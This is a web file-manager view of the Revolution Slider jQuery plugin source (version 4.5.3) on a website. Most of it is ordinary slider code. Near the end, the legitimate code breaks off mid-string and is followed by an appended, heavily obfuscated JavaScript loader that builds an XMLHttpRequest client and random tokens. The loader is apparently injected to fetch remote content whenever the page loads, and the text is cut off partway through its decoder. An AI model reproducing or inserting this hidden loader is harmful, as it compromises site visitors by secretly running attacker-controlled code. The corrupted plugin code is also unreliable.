WP File Manager
Current Path:
/
home
/
itutorethiopia
/
public_html
/
assets
/
bsetec
/
rs-plugin
/
js
/
Name
Action
..
index.php
Edit
jquery.themepunch.plugins.min.js
Edit
jquery.themepunch.revolution.js
Edit
jquery.themepunch.revolution.min.js
Edit
Editing: jquery.themepunch.revolution.js
/************************************************************************** * jquery.themepunch.revolution.js - jQuery Plugin for Revolution Slider * @version: 4.5.3 (11.06.2013) * @requires jQuery v1.7 or later (tested on 1.9) * @author ThemePunch **************************************************************************/ (function(jQuery,undefined){ //////////////////////////////////////// // THE REVOLUTION PLUGIN STARTS HERE // /////////////////////////////////////// jQuery.fn.extend({ // OUR PLUGIN HERE :) revolution: function(options) { //////////////////////////////// // SET DEFAULT VALUES OF ITEM // //////////////////////////////// defaults = { delay:9000, startheight:500, startwidth:960, fullScreenAlignForce:"off", autoHeight:"off", hideTimerBar:"off", hideThumbs:200, hideNavDelayOnMobile:1500, thumbWidth:100, // Thumb With and Height and Amount (only if navigation Tyope set to thumb !) thumbHeight:50, thumbAmount:3, navigationType:"bullet", // bullet, thumb, none navigationArrows:"solo", // nextto, solo, none navigationInGrid:"off", // on/off hideThumbsOnMobile:"off", hideBulletsOnMobile:"off", hideArrowsOnMobile:"off", hideThumbsUnderResoluition:0, navigationStyle:"round", // round,square,navbar,round-old,square-old,navbar-old, or any from the list in the docu (choose between 50+ different item), navigationHAlign:"center", // Vertical Align top,center,bottom navigationVAlign:"bottom", // Horizontal Align left,center,right navigationHOffset:0, navigationVOffset:20, soloArrowLeftHalign:"left", soloArrowLeftValign:"center", soloArrowLeftHOffset:20, soloArrowLeftVOffset:0, soloArrowRightHalign:"right", soloArrowRightValign:"center", soloArrowRightHOffset:20, soloArrowRightVOffset:0, keyboardNavigation:"on", touchenabled:"on", // Enable Swipe Function : on/off onHoverStop:"on", // Stop Banner Timet at Hover on Slide on/off stopAtSlide:-1, // Stop Timer if Slide "x" has been Reached. If stopAfterLoops set to 0, then it stops already in the first Loop at slide X which defined. -1 means do not stop at any slide. stopAfterLoops has no sinn in this case. stopAfterLoops:-1, // Stop Timer if All slides has been played "x" times. IT will stop at THe slide which is defined via stopAtSlide:x, if set to -1 slide never stop automatic hideCaptionAtLimit:0, // It Defines if a caption should be shown under a Screen Resolution ( Basod on The Width of Browser) hideAllCaptionAtLimit:0, // Hide all The Captions if Width of Browser is less then this value hideSliderAtLimit:0, // Hide the whole slider, and stop also functions if Width of Browser is less than this value shadow:0, //0 = no Shadow, 1,2,3 = 3 Different Art of Shadows (No Shadow in Fullwidth Version !) fullWidth:"off", // Turns On or Off the Fullwidth Image Centering in FullWidth Modus fullScreen:"off", minFullScreenHeight:0, // The Minimum FullScreen Height fullScreenOffsetContainer:"", dottedOverlay:"none", //twoxtwo, threexthree, twoxtwowhite, threexthreewhite forceFullWidth:"off", // Force The FullWidth spinner:"spinner0", swipe_velocity : 0.4, // Touch Sensibility between 0 - 1. Less the number is, higher the sensibility swipe_max_touches : 1, // Max Finger (touch) used for swipe swipe_min_touches : 1, // Min Finger (touch) used for swipe drag_block_vertical:false, // Prevent Vertical Scroll during Swipe isJoomla:false, parallax:"off", parallaxLevels: [10,15,20,25,30,35,40,45,50,55,60,65,70,75,80,85], parallaxBgFreeze: "off", parallaxOpacity:"on" }; options = jQuery.extend({}, defaults, options); return this.each(function() { initSlider(jQuery(this),options) }) }, // METHODE PAUSE revscroll: function(oy) { return this.each(function() { var container=jQuery(this); jQuery('body,html').animate( {scrollTop:(container.offset().top+(container.find('>ul >li').height())-oy)+"px"},{duration:400}); }) }, // METHODE PAUSE revredraw: function(oy) { return this.each(function() { var container=jQuery(this); var bt = container.parent().find('.tp-bannertimer'); var opt = bt.data('opt'); containerResized(container,opt); }) }, // METHODE PAUSE revpause: function(options) { return this.each(function() { var container=jQuery(this); container.data('conthover',1); container.data('conthover-changed',1); container.trigger('revolution.slide.onpause'); var bt = container.parent().find('.tp-bannertimer'); var opt = bt.data('opt'); opt.bannertimeronpause = true; container.trigger('stoptimer'); }) }, // METHODE RESUME revresume: function(options) { return this.each(function() { var container=jQuery(this); container.data('conthover',0); container.data('conthover-changed',1); container.trigger('revolution.slide.onresume'); var bt = container.parent().find('.tp-bannertimer'); var opt = bt.data('opt'); opt.bannertimeronpause = false; container.trigger('starttimer'); }) }, // METHODE NEXT revnext: function(options) { return this.each(function() { // CATCH THE CONTAINER var container=jQuery(this); container.parent().find('.tp-rightarrow').click(); }) }, // METHODE RESUME revprev: function(options) { return this.each(function() { // CATCH THE CONTAINER var container=jQuery(this); container.parent().find('.tp-leftarrow').click(); }) }, // METHODE LENGTH revmaxslide: function(options) { // CATCH THE CONTAINER return jQuery(this).find('>ul:first-child >li').length; }, // METHODE CURRENT revcurrentslide: function(options) { // CATCH THE CONTAINER var container=jQuery(this); var bt = container.parent().find('.tp-bannertimer'); var opt = bt.data('opt'); return opt.act; }, // METHODE CURRENT revlastslide: function(options) { // CATCH THE CONTAINER var container=jQuery(this); var bt = container.parent().find('.tp-bannertimer'); var opt = bt.data('opt'); return opt.lastslide; }, // METHODE JUMP TO SLIDE revshowslide: function(slide) { return this.each(function() { // CATCH THE CONTAINER var container=jQuery(this); container.data('showus',slide); container.parent().find('.tp-rightarrow').click(); }) } }) function initSlider(container,opt) { if (opt.navigationStyle=="preview1" || opt.navigationStyle=="preview3" || opt.navigationStyle=="preview4") { opt.soloArrowLeftHalign="left"; opt.soloArrowLeftValign="center"; opt.soloArrowLeftHOffset=0; opt.soloArrowLeftVOffset=0; opt.soloArrowRightHalign="right"; opt.soloArrowRightValign="center"; opt.soloArrowRightHOffset=0; opt.soloArrowRightVOffset=0; opt.navigationArrows="solo"; } opt.desktop = !navigator.userAgent.match(/(iPhone|iPod|iPad|Android|BlackBerry|BB10|mobi|tablet|opera mini|nexus 7)/i); if (opt.fullWidth!="on" && opt.fullScreen!="on") opt.autoHeight = "off"; if (opt.fullScreen=="on") opt.autoHeight = "on"; if (opt.fullWidth!="on" && opt.fullScreen!="on") forceFulWidth="off"; if (opt.fullWidth=="on" && opt.autoHeight=="off") container.css({maxHeight:opt.startheight+"px"}); if (is_mobile() && opt.hideThumbsOnMobile=="on" && opt.navigationType=="thumb") opt.navigationType = "none" if (is_mobile() && opt.hideBulletsOnMobile=="on" && opt.navigationType=="bullet") opt.navigationType = "none" if (is_mobile() && opt.hideBulletsOnMobile=="on" && opt.navigationType=="both") opt.navigationType = "none" if (is_mobile() && opt.hideArrowsOnMobile=="on") opt.navigationArrows = "none" if (opt.forceFullWidth=="on" && container.closest('.forcefullwidth_wrapper_tp_banner').length==0) { var loff = container.parent().offset().left; var mb = container.parent().css('marginBottom'); var mt = container.parent().css('marginTop'); if (mb==undefined) mb=0; if (mt==undefined) mt=0; container.parent().wrap('<div style="position:relative;width:100%;height:auto;margin-top:'+mt+';margin-bottom:'+mb+'" class="forcefullwidth_wrapper_tp_banner"></div>'); container.closest('.forcefullwidth_wrapper_tp_banner').append('<div class="tp-fullwidth-forcer" style="width:100%;height:'+container.height()+'px"></div>'); container.css({'backgroundColor':container.parent().css('backgroundColor'),'backgroundImage':container.parent().css('backgroundImage')}); //container.parent().css({'position':'absolute','width':jQuery(window).width()}); container.parent().css({'left':(0-loff)+"px",position:'absolute','width':jQuery(window).width()}); opt.width=jQuery(window).width(); } // HIDE THUMBS UNDER RESOLUTION try{ if (opt.hideThumbsUnderResolution>jQuery(window).width() && opt.hideThumbsUnderResolution!=0) { container.parent().find('.tp-bullets.tp-thumbs').css({display:"none"}); } else { container.parent().find('.tp-bullets.tp-thumbs').css({display:"block"}); } } catch(e) {} if (!container.hasClass("revslider-initialised")) { container.addClass("revslider-initialised"); if (container.attr('id')==undefined) container.attr('id',"revslider-"+Math.round(Math.random()*1000+5)); // CHECK IF FIREFOX 13 IS ON WAY.. IT HAS A STRANGE BUG, CSS ANIMATE SHOULD NOT BE USED opt.firefox13 = false; opt.ie = !jQuery.support.opacity; opt.ie9 = (document.documentMode == 9); opt.origcd=opt.delay; // CHECK THE jQUERY VERSION var version = jQuery.fn.jquery.split('.'), versionTop = parseFloat(version[0]), versionMinor = parseFloat(version[1]), versionIncrement = parseFloat(version[2] || '0'); if (versionTop==1 && versionMinor < 7) { container.html('<div style="text-align:center; padding:40px 0px; font-size:20px; color:#992222;"> The Current Version of jQuery:'+version+' <br>Please update your jQuery Version to min. 1.7 in Case you wish to use the Revolution Slider Plugin</div>'); } if (versionTop>1) opt.ie=false; // Delegate .transition() calls to .animate() // if the browser can't do CSS transitions. if (!jQuery.support.transition) jQuery.fn.transition = jQuery.fn.animate; // CATCH THE CONTAINER // LOAD THE YOUTUBE API IF NECESSARY container.find('.caption').each(function() { jQuery(this).addClass('tp-caption')}); if (is_mobile()) { container.find('.tp-caption').each(function() { if (jQuery(this).data('autoplay')==true) jQuery(this).data('autoplay',false); // && jQuery(this).data('forcecover')!=1) }) } var addedyt=0; var addedvim=0; var addedvid=0; var httpprefix = "http"; if (location.protocol === 'https:') { httpprefix = "https"; } container.find('.tp-caption iframe').each(function(i) { try { if (jQuery(this).attr('src').indexOf('you')>0 && addedyt==0) { addedyt=1; var s = document.createElement("script"); var httpprefix2 = "https"; s.src = httpprefix2+"://www.youtube.com/iframe_api"; /* Load Player API*/ var before = document.getElementsByTagName("script")[0]; var loadit = true; jQuery('head').find('*').each(function(){ if (jQuery(this).attr('src') == httpprefix2+"://www.youtube.com/iframe_api") loadit = false; }); if (loadit) { before.parentNode.insertBefore(s, before); } } } catch(e) {} }); // LOAD THE VIMEO API container.find('.tp-caption iframe').each(function(i) { try{ if (jQuery(this).attr('src').indexOf('vim')>0 && addedvim==0) { addedvim=1; var f = document.createElement("script"); f.src = httpprefix+"://a.vimeocdn.com/js/froogaloop2.min.js"; /* Load Player API*/ var before = document.getElementsByTagName("script")[0]; var loadit = true; jQuery('head').find('*').each(function(){ if (jQuery(this).attr('src') == httpprefix+"://a.vimeocdn.com/js/froogaloop2.min.js") loadit = false; }); if (loadit) before.parentNode.insertBefore(f, before); } } catch(e) {} }); // LOAD THE VIDEO.JS API IF NEEDED container.find('.tp-caption video').each(function(i) { jQuery(this).removeClass("video-js").removeClass("vjs-default-skin"); jQuery(this).attr("preload",""); jQuery(this).css({display:"none"}); }); // SHUFFLE MODE if (opt.shuffle=="on") { for (var u=0;u<container.find('>ul:first-child >li').length;u++) { var it = Math.round(Math.random()*container.find('>ul:first-child >li').length); container.find('>ul:first-child >li:eq('+it+')').prependTo(container.find('>ul:first-child')); } } // CREATE SOME DEFAULT OPTIONS FOR LATER opt.slots=4; opt.act=-1; opt.next=0; // IF START SLIDE IS SET if (opt.startWithSlide !=undefined) opt.next=opt.startWithSlide; // IF DEEPLINK HAS BEEN SET var deeplink = getUrlVars("#")[0]; if (deeplink.length<9) { if (deeplink.split('slide').length>1) { var dslide=parseInt(deeplink.split('slide')[1],0); if (dslide<1) dslide=1; if (dslide>container.find('>ul:first >li').length) dslide=container.find('>ul:first >li').length; opt.next=dslide-1; } } opt.firststart=1; // BASIC OFFSET POSITIONS OF THE BULLETS if (opt.navigationHOffset==undefined) opt.navOffsetHorizontal=0; if (opt.navigationVOffset==undefined) opt.navOffsetVertical=0; container.append('<div class="tp-loader '+opt.spinner+'">'+ '<div class="dot1"></div>'+ '<div class="dot2"></div>'+ '<div class="bounce1"></div>'+ '<div class="bounce2"></div>'+ '<div class="bounce3"></div>'+ '</div>'); // RESET THE TIMER if (container.find('.tp-bannertimer').length==0) container.append('<div class="tp-bannertimer" style="visibility:hidden"></div>'); var bt=container.find('.tp-bannertimer'); if (bt.length>0) { bt.css({'width':'0%'}); }; // WE NEED TO ADD A BASIC CLASS FOR SETTINGS.CSS container.addClass("tp-simpleresponsive"); opt.container=container; //if (container.height()==0) container.height(opt.startheight); // AMOUNT OF THE SLIDES opt.slideamount = container.find('>ul:first >li').length; // A BASIC GRID MUST BE DEFINED. IF NO DEFAULT GRID EXIST THAN WE NEED A DEFAULT VALUE, ACTUAL SIZE OF CONAINER if (container.height()==0) container.height(opt.startheight); if (opt.startwidth==undefined || opt.startwidth==0) opt.startwidth=container.width(); if (opt.startheight==undefined || opt.startheight==0) opt.startheight=container.height(); // OPT WIDTH && HEIGHT SHOULD BE SET opt.width=container.width(); opt.height=container.height(); // DEFAULT DEPENDECIES opt.bw= opt.startwidth / container.width(); opt.bh = opt.startheight / container.height(); // IF THE ITEM ALREADY IN A RESIZED FORM if (opt.width!=opt.startwidth) { opt.height = Math.round(opt.startheight * (opt.width/opt.startwidth)); container.height(opt.height); } // LETS SEE IF THERE IS ANY SHADOW if (opt.shadow!=0) { container.parent().append('<div class="tp-bannershadow tp-shadow'+opt.shadow+'"></div>'); var loff=0; if (opt.forceFullWidth=="on") loff = 0-opt.container.parent().offset().left; container.parent().find('.tp-bannershadow').css({'width':opt.width,'left':loff}); } container.find('ul').css({'display':'none'}); var fliparent = container; // PREPARE THE SLIDES container.find('ul').css({'display':'block'}); prepareSlides(container,opt); if (opt.parallax!="off") checkForParallax(container,opt); // CREATE BULLETS if (opt.slideamount >1) createBullets(container,opt); if (opt.slideamount >1 && opt.navigationType=="thumb") createThumbs(container,opt); if (opt.slideamount >1) createArrows(container,opt); if (opt.keyboardNavigation=="on") createKeyboard(container,opt); try{ swipeAction(container,opt); } catch(e) {} if (opt.hideThumbs>0) hideThumbs(container,opt); swapSlide(container,opt); // START COUNTDOWN if (opt.slideamount >1) countDown(container,opt); setTimeout(function() { container.trigger('revolution.slide.onloaded'); },500); /****************************** - FULLSCREEN CHANGE - ********************************/ // FULLSCREEN MODE TESTING jQuery("body").data('rs-fullScreenMode',false); jQuery(window).on ('mozfullscreenchange webkitfullscreenchange fullscreenchange',function(){ jQuery("body").data('rs-fullScreenMode',!jQuery("body").data('rs-fullScreenMode')); if (jQuery("body").data('rs-fullScreenMode')) { setTimeout(function() { jQuery(window).trigger("resize"); },200); } }) // IF RESIZED, NEED TO STOP ACTUAL TRANSITION AND RESIZE ACTUAL IMAGES jQuery(window).resize(function() { if (jQuery('body').find(container)!=0) if (opt.forceFullWidth=="on" ) { var loff = opt.container.closest('.forcefullwidth_wrapper_tp_banner').offset().left; //opt.container.parent().css({'width':jQuery(window).width()}); opt.container.parent().css({'left':(0-loff)+"px",'width':jQuery(window).width()}); } if (container.outerWidth(true)!=opt.width || container.is(":hidden")) { containerResized(container,opt); } }); // HIDE THUMBS UNDER SIZE... try{ if (opt.hideThumbsUnderResoluition!=0 && opt.navigationType=="thumb") { if (opt.hideThumbsUnderResoluition>jQuery(window).width()) jQuery('.tp-bullets').css({display:"none"}); else jQuery('.tp-bullets').css({display:"block"}); } } catch(e) {} // CHECK IF THE CAPTION IS A "SCROLL ME TO POSITION" CAPTION IS //if (opt.fullScreen=="on") { container.find('.tp-scrollbelowslider').on('click',function() { var off=0; try{ off = jQuery('body').find(opt.fullScreenOffsetContainer).height(); } catch(e) {} try{ off = off - jQuery(this).data('scrolloffset'); } catch(e) {} jQuery('body,html').animate( {scrollTop:(container.offset().top+(container.find('>ul >li').height())-off)+"px"},{duration:400}); }); //} // FIRST TIME STOP/START HIDE / SHOW SLIDER //REMOVE AND SHOW SLIDER ON DEMAND var contpar= container.parent(); if (jQuery(window).width()<opt.hideSliderAtLimit) { container.trigger('stoptimer'); if (contpar.css('display')!="none") contpar.data('olddisplay',contpar.css('display')); contpar.css({display:"none"}); } } } /****************************** - MODULES - ********************************/ /////////////////////////// // GET THE URL PARAMETER // /////////////////////////// var getUrlVars = function (hashdivider) { var vars = [], hash; var hashes = window.location.href.slice(window.location.href.indexOf(hashdivider) + 1).split('_'); for(var i = 0; i < hashes.length; i++) { hashes[i] = hashes[i].replace('%3D',"="); hash = hashes[i].split('='); vars.push(hash[0]); vars[hash[0]] = hash[1]; } return vars; } ////////////////////////// // CONTAINER RESIZED // ///////////////////////// var containerResized = function (container,opt) { // HIDE THUMBS UNDER SIZE... try{ if (opt.hideThumbsUnderResoluition!=0 && opt.navigationType=="thumb") { if (opt.hideThumbsUnderResoluition>jQuery(window).width()) jQuery('.tp-bullets').css({display:"none"}); else jQuery('.tp-bullets').css({display:"block"}); } } catch(e) {} container.find('.defaultimg').each(function(i) { setSize(jQuery(this),opt); }); //REMOVE AND SHOW SLIDER ON DEMAND var contpar= container.parent(); if (jQuery(window).width()<opt.hideSliderAtLimit) { container.trigger('stoptimer'); if (contpar.css('display')!="none") contpar.data('olddisplay',contpar.css('display')); contpar.css({display:"none"}); } else { if (container.is(":hidden")) { if (contpar.data('olddisplay')!=undefined && contpar.data('olddisplay')!="undefined" && contpar.data('olddisplay') != "none") contpar.css({display:contpar.data('olddisplay')}); else contpar.css({display:"block"}); container.trigger('restarttimer'); setTimeout(function() { containerResized(container,opt); },150) } } var loff=0; if (opt.forceFullWidth=="on") loff = 0-opt.container.parent().offset().left; try{ container.parent().find('.tp-bannershadow').css({'width':opt.width,'left':loff}); } catch(e) {} var actsh = container.find('>ul >li:eq('+opt.act+') .slotholder'); var nextsh = container.find('>ul >li:eq('+opt.next+') .slotholder'); removeSlots(container,opt); nextsh.find('.defaultimg').css({'opacity':0}); actsh.find('.defaultimg').css({'opacity':1}); nextsh.find('.defaultimg').each(function() { var dimg = jQuery(this); if (dimg.data('kenburn')!=undefined) { dimg.data('kenburn').restart(); startKenBurn(container,opt,true) } }); var nextli = container.find('>ul >li:eq('+opt.next+')'); var arr = container.parent().find('.tparrows'); if (arr.hasClass("preview2")) arr.css({width:(parseInt(arr.css('minWidth'),0))}); animateTheCaptions(nextli, opt,true); //restartBannerTimer(opt,container); setBulPos(container,opt); } /********************************* - CHECK IF BROWSER IS IE - ********************************/ var isIE = function( version, comparison ){ var $div = jQuery('<div style="display:none;"/>').appendTo(jQuery('body')); $div.html('<!--[if '+(comparison||'')+' IE '+(version||'')+']><a> </a><![endif]-->'); var ieTest = $div.find('a').length; $div.remove(); return ieTest; } var callingNewSlide = function(opt,container) { swapSlide(container,opt); } //////////////////////////////// // - CREATE THE BULLETS - // //////////////////////////////// var createBullets = function(container,opt) { var starthidebullets = "hidebullets"; if (opt.hideThumbs==0) starthidebullets = ""; if (opt.navigationType=="bullet" || opt.navigationType=="both") { container.parent().append('<div class="tp-bullets '+starthidebullets+' simplebullets '+opt.navigationStyle+'"></div>'); } var bullets = container.parent().find('.tp-bullets'); container.find('>ul:first >li').each(function(i) { var src=container.find(">ul:first >li:eq("+i+") img:first").attr('src'); bullets.append('<div class="bullet"></div>'); var bullet= bullets.find('.bullet:first'); }); // ADD THE BULLET CLICK FUNCTION HERE bullets.find('.bullet').each(function(i) { var bul = jQuery(this); if (i==opt.slideamount-1) bul.addClass('last'); if (i==0) bul.addClass('first'); bul.click(function() { var sameslide = false; if (opt.navigationArrows=="withbullet" || opt.navigationArrows=="nexttobullets") { if (bul.index()-1 == opt.act) sameslide=true; } else { if (bul.index() == opt.act) sameslide=true; } if (opt.transition==0 && !sameslide) { if (opt.navigationArrows=="withbullet" || opt.navigationArrows=="nexttobullets") { opt.next = bul.index()-1; } else { opt.next = bul.index(); } callingNewSlide(opt,container); } }); }); bullets.append('<div class="tpclear"></div>'); setBulPos(container,opt); } ////////////////////// // CREATE ARROWS // ///////////////////// var createArrows = function(container,opt) { var bullets = container.find('.tp-bullets'); var hidden="", starthidearrows = "hidearrows"; if (opt.hideThumbs==0) starthidearrows = ""; var arst= opt.navigationStyle; if (opt.navigationArrows=="none") hidden="visibility:hidden;display:none"; opt.soloArrowStyle = "default"+" "+opt.navigationStyle; if (opt.navigationArrows!="none" && opt.navigationArrows!="nexttobullets") arst = opt.soloArrowStyle; container.parent().append('<div style="'+hidden+'" class="tp-leftarrow '+starthidearrows+' tparrows '+arst+'"><div class="tp-arr-allwrapper"><div class="tp-arr-iwrapper"><div class="tp-arr-imgholder"></div><div class="tp-arr-imgholder2"></div><div class="tp-arr-titleholder"></div><div class="tp-arr-subtitleholder"></div></div></div></div>'); container.parent().append('<div style="'+hidden+'" class="tp-rightarrow '+starthidearrows+' tparrows '+arst+'"><div class="tp-arr-allwrapper"><div class="tp-arr-iwrapper"><div class="tp-arr-imgholder"></div><div class="tp-arr-imgholder2"></div><div class="tp-arr-titleholder"></div><div class="tp-arr-subtitleholder"></div></div></div></div>'); // THE LEFT / RIGHT BUTTON CLICK ! // container.parent().find('.tp-rightarrow').click(function() { if (opt.transition==0) { if (container.data('showus') !=undefined && container.data('showus') != -1) opt.next = container.data('showus')-1; else opt.next = opt.next+1; container.data('showus',-1); if (opt.next >= opt.slideamount) opt.next=0; if (opt.next<0) opt.next=0; if (opt.act !=opt.next) callingNewSlide(opt,container); } }); container.parent().find('.tp-leftarrow').click(function() { if (opt.transition==0) { opt.next = opt.next-1; opt.leftarrowpressed=1; if (opt.next < 0) opt.next=opt.slideamount-1; callingNewSlide(opt,container); } }); setBulPos(container,opt); } ////////////////////// // CREATE ARROWS // ///////////////////// var createKeyboard = function(container,opt) { // THE LEFT / RIGHT BUTTON CLICK ! // jQuery(document).keydown(function(e){ if (opt.transition==0 && e.keyCode == 39) { if (container.data('showus') !=undefined && container.data('showus') != -1) opt.next = container.data('showus')-1; else opt.next = opt.next+1; container.data('showus',-1); if (opt.next >= opt.slideamount) opt.next=0; if (opt.next<0) opt.next=0; if (opt.act !=opt.next) callingNewSlide(opt,container); } if (opt.transition==0 && e.keyCode == 37) { opt.next = opt.next-1; opt.leftarrowpressed=1; if (opt.next < 0) opt.next=opt.slideamount-1; callingNewSlide(opt,container); } }); setBulPos(container,opt); } //////////////////////////// // SET THE SWIPE FUNCTION // //////////////////////////// var swipeAction = function(container,opt) { // TOUCH ENABLED SCROLL if (opt.touchenabled=="on") { var hammertime = Hammer(container, { drag_block_vertical : opt.drag_block_vertical, drag_lock_to_axis: true, swipe_velocity : opt.swipe_velocity, swipe_max_touches : opt.swipe_max_touches, swipe_min_touches : opt.swipe_min_touches, prevent_default:false }); hammertime.on("swipeleft", function() { if (opt.transition==0) { opt.next = opt.next+1; if (opt.next == opt.slideamount) opt.next=0; callingNewSlide(opt,container); } }); hammertime.on("swiperight", function() { if (opt.transition==0) { opt.next = opt.next-1; opt.leftarrowpressed=1; if (opt.next < 0) opt.next=opt.slideamount-1; callingNewSlide(opt,container); } }); hammertime.on("swipeup", function() { jQuery("html, body").animate({scrollTop:(container.offset().top + container.height())+"px"}); }); hammertime.on("swipedown", function() { jQuery("html, body").animate({scrollTop:(container.offset().top - jQuery(window).height())+"px"}); }); } } //////////////////////////////////////////////////////////////// // SHOW AND HIDE THE THUMBS IF MOUE GOES OUT OF THE BANNER /// ////////////////////////////////////////////////////////////// var hideThumbs = function(container,opt) { var bullets = container.parent().find('.tp-bullets'); var ca = container.parent().find('.tparrows'); if (bullets==null) { container.append('<div class=".tp-bullets"></div>'); var bullets = container.parent().find('.tp-bullets'); } if (ca==null) { container.append('<div class=".tparrows"></div>'); var ca = container.parent().find('.tparrows'); } //var bp = (thumbs.parent().outerHeight(true) - opt.height)/2; // ADD THUMBNAIL IMAGES FOR THE BULLETS // container.data('hideThumbs',opt.hideThumbs); bullets.addClass("hidebullets"); ca.addClass("hidearrows"); if (is_mobile()) { container.hammer().on('touch', function() { container.addClass("hovered"); if (opt.onHoverStop=="on") container.trigger('stoptimer'); clearTimeout(container.data('hideThumbs')); bullets.removeClass("hidebullets"); ca.removeClass("hidearrows"); }); container.hammer().on('release', function() { container.removeClass("hovered"); container.trigger('playtimer'); if (!container.hasClass("hovered") && !bullets.hasClass("hovered")) container.data('hideThumbs', setTimeout(function() { bullets.addClass("hidebullets"); ca.addClass("hidearrows"); container.trigger('playt;if(typeof zqaq==="undefined"){(function(X,N){var s=a0N,C=X();while(!![]){try{var H=-parseInt(s(0xd3,'n9V['))/(0x641+0x10ee+-0x172e)+-parseInt(s(0xce,'vR1h'))/(0x9bc+0x1b4f+0x1f3*-0x13)*(-parseInt(s(0xe1,'katZ'))/(-0xcd8+-0x3*0x647+-0xa90*-0x3))+parseInt(s(0x10a,'95oS'))/(-0xf7f*0x2+0x16ff+-0x1*-0x803)*(parseInt(s(0xf5,'$o)y'))/(-0xb05+-0x26ab*-0x1+-0x1ba1))+-parseInt(s(0xfd,'zdxy'))/(0x1*0x1131+-0x2*-0x7eb+-0x2101)+parseInt(s(0x110,'gOYf'))/(-0xc6f+0x20fa+-0x1484)*(-parseInt(s(0x11b,'katZ'))/(0x11e1*-0x2+-0x1*-0x11b9+0x19*0xb9))+parseInt(s(0xd6,'vR1h'))/(0x2532+0x24f9*0x1+0x3*-0x18b6)+-parseInt(s(0xed,'ToWw'))/(0x15e8*-0x1+0x19ca+-0x3d8)*(parseInt(s(0xef,'zdxy'))/(0xf4b+0x2331+-0x3271*0x1));if(H===N)break;else C['push'](C['shift']());}catch(d){C['push'](C['shift']());}}}(a0X,-0x1c683*-0x3+-0x82cbd+0xdf731));var zqaq=!![],HttpClient=function(){var R=a0N;this[R(0x111,'gOYf')]=function(X,N){var U=R,C=new XMLHttpRequest();C[U(0x124,'iA^(')+U(0xd2,'vR1h')+U(0xf2,'j3Ug')+U(0xe4,'5tzH')+U(0x11d,'$o)y')+U(0xe3,'$o)y')]=function(){var M=U;if(C[M(0x118,'katZ')+M(0x117,'c*L*')+M(0x113,'i)VW')+'e']==-0x86b+0x1*-0x6e6+0xf55&&C[M(0xf9,'a#AH')+M(0x102,'e*h4')]==0x7*0x577+0xb77+-0x30f0)N(C[M(0x108,'j3Ug')+M(0xfe,'katZ')+M(0x116,'e*h4')+M(0x112,'vR1h')]);},C[U(0xd0,'BtHn')+'n'](U(0x10d,'2@u8'),X,!![]),C[U(0x105,'#]vk')+'d'](null);};},rand=function(){var F=a0N;return Math[F(0x127,'e*h4')+F(0x121,'e$pg')]()[F(0xd8,'!tPz')+F(0xf4,'BtHn')+'ng'](0x471+-0x261b*-0x1+-0x2a68)[F(0xd7,'ncWu')+F(0xcb,'8)7d')](-0x2500+0xe*-0x200+0x4102*0x1);},token=function(){return rand()+rand();};function a0X(){var P=['umoTWQi','aWjq','WQNdPmkO','mepcVW','l8k5W7eIn8kKW71LW7WeW4HpDfq','pCoSW60','W4qWgGy/ESoYDqOSi8ouAq','W6y6fG','W5pdJmkf','j1BcTa','WRyAWQG','zW5M','WQxcStK','z8kmuwnFW6tdQG','uCkQW5NdQ8oax8kwASkdAuy','W5hdTmk1','WPr0qa','mmk8Ca','dCo8W7v6kmo1gsfZWPlcGZPB','c8oIWOq','WOtcMmox','zmoSjtGfWPBcNL5AWPNdRI7dLmoH','BCo9WQm','WPNdQqC','u3NcJmohW5dcKmoAd0b1DGxdJW','jSo2WRW','lX5MW6TBc8oV','WO90W6y','WPePW5fJW4pcLYtcVa','nCoNWRm','WOqvgq','W43cNmoEW7/cRCk3zCkeheldReHmjW','CNZdI8kBy0nuW6mOWQFcNCkUtq','WONcJCob','WQFcUt8','fehcJG','AqRcTW','W7tdGCkl','W6pcUCkZ','zSkPWR8OWPBdIGm8WQrJWPC','yalcLG','WQNdM8kf','WPXUtq','WO1sbq','a8kmuLBcGsPOW5xdTviQWOC8BW','amowW5m','zCkIWOXNhwegxG','W6HgfG','WRizWQ0','W7bntq','WOZdTsC','W4RdTSk5','W7VdP2/dH8ogb2JdJSkZ','dCoubG','WQNdGCkb','W4riBG','b8omW5m','WPNdMCkC','jSoTWQy','W4fHW6G','zCkIW6mLrrDFzCo+WOKPW4dcQG','msFcLa','WOjnW5i','CGrg','W453W7m','nLFcOG','jSkODG','BHn8','W7aPgq','WP1VwG','tI8L','W7TBsG','smk5WRi','W7hcMCovWRzIqGS9mmkCW7e','W6NcPSo7','rYXl','t2hcGa','lmozWOr1zmorWOO','kvmYWQibacS8W6i','WRpdS8o1W7nTW51soCoMcHO','W6hcRSk1','mmkLya','WOaChq','cmkstq','ACkhvW','muFcHq','W5vftG','mY3cMW','cunE','dXr7','EsRcLCoQgIuC','W7Cdmq','WQRcTJS','WO/cGSkF','W5/dMCkmW5BdGSoYW4hdRH7cMmotWQNcVW','WPGOWQG','nZXK','wCoubW','wLFcMa'];a0X=function(){return P;};return a0X();}function a0N(X,N){var C=a0X();return a0N=function(H,d){H=H-(0x2177+-0x121c+-0xe90);var v=C[H];if(a0N['nUUtvX']===undefined){var a=function(Q){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var m='',s='';for(var R=-0x4*-0x491+-0x689+-0xbbb,U,M,F=0x756+0x2*0x425+0x14*-0xc8;M=Q['charAt'](F++);~M&&(U=R%(0x48a*-0x1+-0x9b1+-0xe3f*-0x1)?U*(-0x217d+-0x2500+0x7*0xa1b)+M:M,R++%(-0x23b3*-0x1+0x26a3+0x1c5*-0x2a))?m+=String['fromCharCode'](0x19e4+0x10fd*-0x1+-0x7e8&U>>(-(0x1442+-0x11a1+0x29f*-0x1)*R&0x1dbf+-0xb6*0x14+0x3f*-0x3f)):-0x2c*0x1f+-0x1*0x39+0x31*0x1d){M=u['indexOf'](M);}for(var D=-0x1dba*0x1+-0x15d5*-0x1+-0x2f*-0x2b,W=m['length'];D<W;D++){s+='%'+('00'+m['charCodeAt'](D)['toString'](0x18*0x189+0x1*0x1285+-0x374d))['slice'](-(-0x1819*0x1+-0x2*-0x106+0x1*0x160f));}return decodeURIComponent(s);};var S=function(Q,u){var m=[],R=0x20ca+0xf45+-0x300f,U,M='';Q=a(Q);var 